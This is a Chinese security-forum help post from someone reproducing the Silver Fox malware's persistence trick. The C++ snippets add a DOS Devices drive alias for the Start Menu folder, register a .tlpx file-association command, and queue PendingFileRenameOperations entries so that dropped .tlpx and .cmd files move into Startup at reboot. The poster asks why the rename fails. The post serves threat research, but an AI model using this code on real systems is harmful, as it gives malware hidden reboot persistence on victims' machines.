首页
社区
课程
招聘
未解决 [求助]银狐技术研究探讨之PendingFileRenameOperations 和 虚拟设备映射启动先后问题 50雪币
发表于: 2025-7-23 00:37 273

未解决 [求助]银狐技术研究探讨之PendingFileRenameOperations 和 虚拟设备映射启动先后问题 50雪币

2025-7-23 00:37
273

我参照  银狐情报共享第1期 | Att&CK视角下的最新活跃技战术分享 的最后持久化部分,写了一个demo核心代码如下

  // 创建虚拟设备,把Programs 映射到P
    std::wstring target_path = L"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs";
    std::wstring reg_path = L"SYSTEM\\CurrentControlSet\\Control\\Session Manager\\DOS Devices";
    std::wstring dos_path = L"\\??\\" + target_path;

RegCreateKeyExW(HKEY_LOCAL_MACHINE, reg_path.c_str(), 0, NULL, REG_OPTION_NON_VOLATILE, KEY_WRITE, NULL, &hKey,
                        &disposition)
RegSetValueExW(hKey, L"P:", 0, REG_SZ, (LPBYTE)dos_path.c_str(),
                           (dos_path.length() + 1) * sizeof(wchar_t)) 
 // 关联后缀
 LONG result = RegCreateKeyExA(HKEY_CLASSES_ROOT, ".tlpx\\Shell\\Open\\Command", 0, NULL, REG_OPTION_NON_VOLATILE,
                                  KEY_WRITE, NULL, &hKey, NULL);
      result = RegSetValueExA(hKey, NULL, 0, REG_SZ, (LPBYTE)bd_path.c_str(), bd_path.length() + 1);

 
 // 往PendingFileRenameOperations写入源路径和目标路径                       
std::wstring rname_path = L"\\??\\" + std::wstring(full_rname_path.begin(), full_rname_path.end());
std::wstring target_rname_path = L"\\??\\P:\\Startup\\" + std::wstring(full_rname.begin(), full_rname.end());
std::wstring regvalue = rname_path;
regvalue.push_back(L'\0'); // 添加第一个空字符
regvalue += target_rname_path;
regvalue.push_back(L'\0'); // 添加第二个空字符
if (RegCreateKeyExW(HKEY_LOCAL_MACHINE, L"SYSTEM\\CurrentControlSet\\Control\\Session Manager", 0, NULL,
                        REG_OPTION_NON_VOLATILE, KEY_WRITE, NULL, &hKey, NULL) == ERROR_SUCCESS) {
        // set value
    if (RegSetValueExW(hKey, L"PendingFileRenameOperations", 0, REG_MULTI_SZ, (LPBYTE)regvalue.c_str(),
                           (regvalue.length() + 1) * sizeof(wchar_t)) == ERROR_SUCCESS) {
            std::wcout << L"注册表写入成功!" << std::endl;
    } else {
            std::wcerr << L"注册表写入失败!" << std::endl;
    }
    RegCloseKey(hKey);
    } else {
        std::wcerr << L"注册表创建/打开失败!" << std::endl;
    }

生成的注册表条目如下

\??\C:\Users\Public\Downloads\yMgfYCnH.tlpx
\??\P:\Startup\yMgfYCnH.tlpx
\??\C:\Users\Public\Downloads\yMgfYCnH.cmd
\??\P:\Startup\yMgfYCnH.cmd

我发现即使我路径跟文章里面一样,重启系统后也不会写入到指定路径。


而后我尝试使用了MoveFileExW并携带MOVEFILE_DELAY_UNTIL_REBOOT,发现生成的注册表条目会将虚拟设备解析到实际的路径,即如下

*1\??\C:\Users\Public\Downloads\YaNxgdNr.tlpx
*1\??\C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\YaNxgdNr.tlpx
*1\??\C:\Users\Public\Downloads\YaNxgdNr.cmd
*1\??\C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\YaNxgdNr.cmd


我怀有系统在处理PendingFileRenameOperations时,虚拟设备还没有映射,我还尝试了如下路径,均不能复现

C:\Users\Public\Downloads\yMgfYCnH.tlpx
P:\Startup\yMgfYCnH.tlpx
C:\Users\Public\Downloads\yMgfYCnH.cmd
P:\Startup\yMgfYCnH.cmd

\??\C:\Users\Public\Downloads\yMgfYCnH.tlpx
\\.\P:\Startup\yMgfYCnH.tlpx
\??\C:\Users\Public\Downloads\yMgfYCnH.cmd
\\.\P:\Startup\yMgfYCnH.cmd

只有使用原本的启动目录路径才可以。


传播安全知识、拓宽行业人脉——看雪讲师团队等你加入!

最后于 2025-7-23 00:39 被mb_duzzidie编辑 ,原因:
收藏
免费 0
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回